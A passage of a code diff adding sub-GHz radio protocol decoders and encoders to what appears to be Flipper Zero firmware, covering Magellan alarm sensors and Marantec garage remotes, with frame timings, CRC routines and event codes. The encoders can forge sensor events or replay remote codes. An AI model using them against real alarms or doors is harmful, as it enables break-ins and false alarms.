+void subghz_protocol_decoder_linear_delta3_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderLinearDelta3 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_linear_delta3_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderLinearDelta3 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_linear_delta3_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderLinearDelta3.
+ * @param context Pointer to a SubGhzProtocolDecoderLinearDelta3 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_linear_delta3_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderLinearDelta3.
+ * @param context Pointer to a SubGhzProtocolDecoderLinearDelta3 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_linear_delta3_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderLinearDelta3 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_linear_delta3_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/magellan.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/magellan.c
new file mode 100644
index 000000000..ed1b3b95b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/magellan.c
@@ -0,0 +1,523 @@
+#include "magellan.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolMagellan"
+
+static const SubGhzBlockConst subghz_protocol_magellan_const = {
+    .te_short = 200,
+    .te_long = 400,
+    .te_delta = 100,
+    .min_count_bit_for_found = 32,
+};
+
+struct SubGhzProtocolDecoderMagellan {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    uint16_t header_count;
+};
+
+struct SubGhzProtocolEncoderMagellan {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    MagellanDecoderStepReset = 0,
+    MagellanDecoderStepCheckPreambula,
+    MagellanDecoderStepFoundPreambula,
+    MagellanDecoderStepSaveDuration,
+    MagellanDecoderStepCheckDuration,
+} MagellanDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_magellan_decoder = {
+    .alloc = subghz_protocol_decoder_magellan_alloc,
+    .free = subghz_protocol_decoder_magellan_free,
+
+    .feed = subghz_protocol_decoder_magellan_feed,
+    .reset = subghz_protocol_decoder_magellan_reset,
+
+    .get_hash_data = subghz_protocol_decoder_magellan_get_hash_data,
+    .serialize = subghz_protocol_decoder_magellan_serialize,
+    .deserialize = subghz_protocol_decoder_magellan_deserialize,
+    .get_string = subghz_protocol_decoder_magellan_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_magellan_encoder = {
+    .alloc = subghz_protocol_encoder_magellan_alloc,
+    .free = subghz_protocol_encoder_magellan_free,
+
+    .deserialize = subghz_protocol_encoder_magellan_deserialize,
+    .stop = subghz_protocol_encoder_magellan_stop,
+    .yield = subghz_protocol_encoder_magellan_yield,
+};
+
+const SubGhzProtocol subghz_protocol_magellan = {
+    .name = SUBGHZ_PROTOCOL_MAGELLAN_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Sensors,
+
+    .decoder = &subghz_protocol_magellan_decoder,
+    .encoder = &subghz_protocol_magellan_encoder,
+};
+
+void* subghz_protocol_encoder_magellan_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderMagellan* instance = malloc(sizeof(SubGhzProtocolEncoderMagellan));
+
+    instance->base.protocol = &subghz_protocol_magellan;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_magellan_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMagellan* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderMagellan instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_magellan_get_upload(SubGhzProtocolEncoderMagellan* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_magellan_const.te_short * 4);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_magellan_const.te_short);
+    for(uint8_t i = 0; i < 12; i++) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_magellan_const.te_short);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_magellan_const.te_short);
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_magellan_const.te_short);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_magellan_const.te_long);
+
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_magellan_const.te_long * 3);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_magellan_const.te_long);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_magellan_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_magellan_const.te_long);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_magellan_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_magellan_const.te_short);
+        }
+    }
+
+    //Send stop bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_magellan_const.te_short);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_magellan_const.te_long * 100);
+
+    instance->encoder.size_upload = index;
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_magellan_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMagellan* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_magellan_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_magellan_get_upload(instance)) {
+            instance->encoder.front = 0; // reset before start
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_magellan_stop(void* context) {
+    SubGhzProtocolEncoderMagellan* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0; // reset position
+}
+
+LevelDuration subghz_protocol_encoder_magellan_yield(void* context) {
+    SubGhzProtocolEncoderMagellan* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_magellan_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderMagellan* instance = malloc(sizeof(SubGhzProtocolDecoderMagellan));
+    instance->base.protocol = &subghz_protocol_magellan;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_magellan_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMagellan* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_magellan_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMagellan* instance = context;
+    instance->decoder.parser_step = MagellanDecoderStepReset;
+}
+
+uint8_t subghz_protocol_magellan_crc8(uint8_t* data, size_t len) {
+    uint8_t crc = 0x00;
+    size_t i, j;
+    for(i = 0; i < len; i++) {
+        crc ^= data[i];
+        for(j = 0; j < 8; j++) {
+            if((crc & 0x80) != 0)
+                crc = (uint8_t)((crc << 1) ^ 0x31);
+            else
+                crc <<= 1;
+        }
+    }
+    return crc;
+}
+
+static bool subghz_protocol_magellan_check_crc(SubGhzProtocolDecoderMagellan* instance) {
+    uint8_t data[3] = {
+        instance->decoder.decode_data >> 24,
+        instance->decoder.decode_data >> 16,
+        instance->decoder.decode_data >> 8};
+    return (instance->decoder.decode_data & 0xFF) ==
+           subghz_protocol_magellan_crc8(data, sizeof(data));
+}
+
+void subghz_protocol_decoder_magellan_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMagellan* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case MagellanDecoderStepReset:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_magellan_const.te_short) <
+                       subghz_protocol_magellan_const.te_delta)) {
+            instance->decoder.parser_step = MagellanDecoderStepCheckPreambula;
+            instance->decoder.te_last = duration;
+            instance->header_count = 0;
+        }
+        break;
+
+    case MagellanDecoderStepCheckPreambula:
+        if(level) {
+            instance->decoder.te_last = duration;
+        } else {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_magellan_const.te_short) <
+                subghz_protocol_magellan_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_magellan_const.te_short) <
+                subghz_protocol_magellan_const.te_delta)) {
+                // Found header
+                instance->header_count++;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_magellan_const.te_short) <
+                 subghz_protocol_magellan_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_magellan_const.te_long) <
+                 subghz_protocol_magellan_const.te_delta * 2) &&
+                (instance->header_count > 10)) {
+                instance->decoder.parser_step = MagellanDecoderStepFoundPreambula;
+            } else {
+                instance->decoder.parser_step = MagellanDecoderStepReset;
+            }
+        }
+        break;
+
+    case MagellanDecoderStepFoundPreambula:
+        if(level) {
+            instance->decoder.te_last = duration;
+        } else {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_magellan_const.te_short * 6) <
+                subghz_protocol_magellan_const.te_delta * 3) &&
+               (DURATION_DIFF(duration, subghz_protocol_magellan_const.te_long) <
+                subghz_protocol_magellan_const.te_delta * 2)) {
+                instance->decoder.parser_step = MagellanDecoderStepSaveDuration;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+            } else {
+                instance->decoder.parser_step = MagellanDecoderStepReset;
+            }
+        }
+        break;
+
+    case MagellanDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = MagellanDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = MagellanDecoderStepReset;
+        }
+        break;
+
+    case MagellanDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_magellan_const.te_short) <
+                subghz_protocol_magellan_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_magellan_const.te_long) <
+                subghz_protocol_magellan_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = MagellanDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_magellan_const.te_long) <
+                 subghz_protocol_magellan_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_magellan_const.te_short) <
+                 subghz_protocol_magellan_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = MagellanDecoderStepSaveDuration;
+            } else if(duration >= (subghz_protocol_magellan_const.te_long * 3)) {
+                //Found stop bit
+                if((instance->decoder.decode_count_bit ==
+                    subghz_protocol_magellan_const.min_count_bit_for_found) &&
+                   subghz_protocol_magellan_check_crc(instance)) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = MagellanDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = MagellanDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = MagellanDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_magellan_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+*   package 32b            data 24b           CRC8
+*   0x037AE4828 => 001101111010111001001000 00101000
+*   
+*   0x037AE48 (flipped in reverse bit sequence) => 0x1275EC
+*
+*   0x1275EC =>  0x12-event codes, 0x75EC-serial (dec 117236)
+*
+* Event codes consist of two parts:
+* - The upper nibble (bits 7-4) represents the event type:
+*     - 0x00: Nothing
+*     - 0x01: Door
+*     - 0x02: Motion
+*     - 0x03: Smoke Alarm
+*     - 0x04: REM1
+*     - 0x05: REM1 with subtype Off1
+*     - 0x06: REM2
+*     - 0x07: REM2 with subtype Off1
+*     - Others: Unknown
+* - The lower nibble (bits 3-0) represents the event subtype, which varies based on the model type:
+*     - If the model type is greater than 0x03 (e.g., REM1 or REM2):
+*         - 0x00: Arm1
+*         - 0x01: Btn1
+*         - 0x02: Btn2
+*         - 0x03: Btn3
+*         - 0x08: Reset
+*         - 0x09: LowBatt
+*         - 0x0A: BattOk
+*         - 0x0B: Learn
+*         - Others: Unknown
+*     - Otherwise:
+*         - 0x00: Sealed
+*         - 0x01: Alarm
+*         - 0x02: Tamper
+*         - 0x03: Alarm + Tamper
+*         - 0x08: Reset
+*         - 0x09: LowBatt
+*         - 0x0A: BattOk
+*         - 0x0B: Learn
+*         - Others: Unknown
+*
+*/
+    uint64_t data_rev = subghz_protocol_blocks_reverse_key(instance->data >> 8, 24);
+    instance->serial = data_rev & 0xFFFF;
+    instance->btn = (data_rev >> 16) & 0xFF;
+}
+
+static void subghz_protocol_magellan_get_event_serialize(uint8_t event, FuriString* output) {
+    const char* event_type;
+    const char* event_subtype;
+
+    switch((event >> 4) & 0x0F) {
+    case 0x00:
+        event_type = "Nothing";
+        break;
+    case 0x01:
+        event_type = "Door";
+        break;
+    case 0x02:
+        event_type = "Motion";
+        break;
+    case 0x03:
+        event_type = "Smoke Alarm";
+        break;
+    case 0x04:
+        event_type = "REM1";
+        break;
+    case 0x05:
+        event_type = "REM1";
+        event_subtype = "Off1";
+        furi_string_cat_printf(output, "%s - %s", event_type, event_subtype);
+        return;
+    case 0x06:
+        event_type = "REM2";
+        event_subtype = "Off1";
+        furi_string_cat_printf(output, "%s - %s", event_type, event_subtype);
+        return;
+    default:
+        event_type = "Unknown";
+        break;
+    }
+
+    switch(event & 0x0F) {
+    case 0x00:
+        event_subtype = (((event >> 4) & 0x0F) > 0x03) ? "Arm1" : "Sealed";
+        break;
+    case 0x01:
+        event_subtype = (((event >> 4) & 0x0F) > 0x03) ? "Btn1" : "Alarm";
+        break;
+    case 0x02:
+        event_subtype = (((event >> 4) & 0x0F) > 0x03) ? "Btn2" : "Tamper";
+        break;
+    case 0x03:
+        event_subtype = (((event >> 4) & 0x0F) > 0x03) ? "Btn3" : "Alarm + Tamper";
+        break;
+    case 0x08:
+        event_subtype = "Reset";
+        break;
+    case 0x09:
+        event_subtype = "LowBatt";
+        break;
+    case 0x0A:
+        event_subtype = "BattOk";
+        break;
+    case 0x0B:
+        event_subtype = "Learn";
+        break;
+    default:
+        event_subtype = "Unknown";
+        break;
+    }
+
+    furi_string_cat_printf(output, "%s - %s", event_type, event_subtype);
+}
+
+uint8_t subghz_protocol_decoder_magellan_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMagellan* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_magellan_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMagellan* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_magellan_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMagellan* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_magellan_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_magellan_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMagellan* instance = context;
+    subghz_protocol_magellan_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%08lX\r\n"
+        "Sn:%03ld%03ld, Event:0x%02X\r\n"
+        "Stat:",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        (instance->generic.serial >> 8) & 0xFF,
+        instance->generic.serial & 0xFF,
+        instance->generic.btn);
+
+    subghz_protocol_magellan_get_event_serialize(instance->generic.btn, output);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/magellan.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/magellan.h
new file mode 100644
index 000000000..e0fb7ca52
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/magellan.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_MAGELLAN_NAME "Magellan"
+
+typedef struct SubGhzProtocolDecoderMagellan SubGhzProtocolDecoderMagellan;
+typedef struct SubGhzProtocolEncoderMagellan SubGhzProtocolEncoderMagellan;
+
+extern const SubGhzProtocolDecoder subghz_protocol_magellan_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_magellan_encoder;
+extern const SubGhzProtocol subghz_protocol_magellan;
+
+/**
+ * Allocate SubGhzProtocolEncoderMagellan.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderMagellan* pointer to a SubGhzProtocolEncoderMagellan instance
+ */
+void* subghz_protocol_encoder_magellan_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderMagellan.
+ * @param context Pointer to a SubGhzProtocolEncoderMagellan instance
+ */
+void subghz_protocol_encoder_magellan_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderMagellan instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_magellan_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderMagellan instance
+ */
+void subghz_protocol_encoder_magellan_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderMagellan instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_magellan_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderMagellan.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderMagellan* pointer to a SubGhzProtocolDecoderMagellan instance
+ */
+void* subghz_protocol_decoder_magellan_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderMagellan.
+ * @param context Pointer to a SubGhzProtocolDecoderMagellan instance
+ */
+void subghz_protocol_decoder_magellan_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderMagellan.
+ * @param context Pointer to a SubGhzProtocolDecoderMagellan instance
+ */
+void subghz_protocol_decoder_magellan_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderMagellan instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_magellan_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderMagellan instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_magellan_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderMagellan.
+ * @param context Pointer to a SubGhzProtocolDecoderMagellan instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_magellan_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderMagellan.
+ * @param context Pointer to a SubGhzProtocolDecoderMagellan instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_magellan_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderMagellan instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_magellan_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec.c
new file mode 100644
index 000000000..a07a559fc
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec.c
@@ -0,0 +1,417 @@
+#include "marantec.h"
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolMarantec"
+
+static const SubGhzBlockConst subghz_protocol_marantec_const = {
+    .te_short = 1000,
+    .te_long = 2000,
+    .te_delta = 200,
+    .min_count_bit_for_found = 49,
+};
+
+struct SubGhzProtocolDecoderMarantec {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    ManchesterState manchester_saved_state;
+    uint16_t header_count;
+};
+
+struct SubGhzProtocolEncoderMarantec {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    MarantecDecoderStepReset = 0,
+    MarantecDecoderFoundHeader,
+    MarantecDecoderStepDecoderData,
+} MarantecDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_marantec_decoder = {
+    .alloc = subghz_protocol_decoder_marantec_alloc,
+    .free = subghz_protocol_decoder_marantec_free,
+
+    .feed = subghz_protocol_decoder_marantec_feed,
+    .reset = subghz_protocol_decoder_marantec_reset,
+
+    .get_hash_data = subghz_protocol_decoder_marantec_get_hash_data,
+    .serialize = subghz_protocol_decoder_marantec_serialize,
+    .deserialize = subghz_protocol_decoder_marantec_deserialize,
+    .get_string = subghz_protocol_decoder_marantec_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_marantec_encoder = {
+    .alloc = subghz_protocol_encoder_marantec_alloc,
+    .free = subghz_protocol_encoder_marantec_free,
+
+    .deserialize = subghz_protocol_encoder_marantec_deserialize,
+    .stop = subghz_protocol_encoder_marantec_stop,
+    .yield = subghz_protocol_encoder_marantec_yield,
+};
+
+const SubGhzProtocol subghz_protocol_marantec = {
+    .name = SUBGHZ_PROTOCOL_MARANTEC_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_marantec_decoder,
+    .encoder = &subghz_protocol_marantec_encoder,
+};
+
+void* subghz_protocol_encoder_marantec_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderMarantec* instance = malloc(sizeof(SubGhzProtocolEncoderMarantec));
+
+    instance->base.protocol = &subghz_protocol_marantec;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_marantec_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMarantec* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static LevelDuration
+    subghz_protocol_encoder_marantec_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_marantec_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_marantec_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_marantec_const.te_long;
+        data.level = true;
+        break;
+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_marantec_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderMarantec instance
+ */
+static void subghz_protocol_encoder_marantec_get_upload(SubGhzProtocolEncoderMarantec* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    if(!manchester_encoder_advance(
+           &enc_state,
+           bit_read(instance->generic.data, instance->generic.data_count_bit - 1),
+           &result)) {
+        instance->encoder.upload[index++] =
+            subghz_protocol_encoder_marantec_add_duration_to_upload(result);
+        manchester_encoder_advance(
+            &enc_state,
+            bit_read(instance->generic.data, instance->generic.data_count_bit - 1),
+            &result);
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_marantec_const.te_long * 5);
+
+    for(uint8_t i = instance->generic.data_count_bit - 1; i > 0; i--) {
+        if(!manchester_encoder_advance(
+               &enc_state, bit_read(instance->generic.data, i - 1), &result)) {
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_marantec_add_duration_to_upload(result);
+            manchester_encoder_advance(
+                &enc_state, bit_read(instance->generic.data, i - 1), &result);
+        }
+        instance->encoder.upload[index++] =
+            subghz_protocol_encoder_marantec_add_duration_to_upload(result);
+    }
+    instance->encoder.upload[index] = subghz_protocol_encoder_marantec_add_duration_to_upload(
+        manchester_encoder_finish(&enc_state));
+    if(level_duration_get_level(instance->encoder.upload[index])) {
+        index++;
+    }
+    instance->encoder.size_upload = index;
+}
+
+uint8_t subghz_protocol_marantec_crc8(uint8_t* data, size_t len) {
+    uint8_t crc = 0x01;
+    size_t i, j;
+    for(i = 0; i < len; i++) {
+        crc ^= data[i];
+        for(j = 0; j < 8; j++) {
+            if((crc & 0x80) != 0)
+                crc = (uint8_t)((crc << 1) ^ 0x1D);
+            else
+                crc <<= 1;
+        }
+    }
+    return crc;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_marantec_remote_controller(SubGhzBlockGeneric* instance) {
+    // Key samples
+    // 1307EDF6486C5 = 000 100110000 01111110110111110110 0100 10000110 11000101
+    // 1303EFAFD8683 = 000 100110000 00111110111110101111 1101 10000110 10000011
+
+    // From unittests
+    // 1300710DF869F
+
+    // const serial button serial crc
+    // 130   7EDF6  4      86     C5
+    // 130   3EFAF  D      86     83
+    // 130   0710D  F      86     9F
+
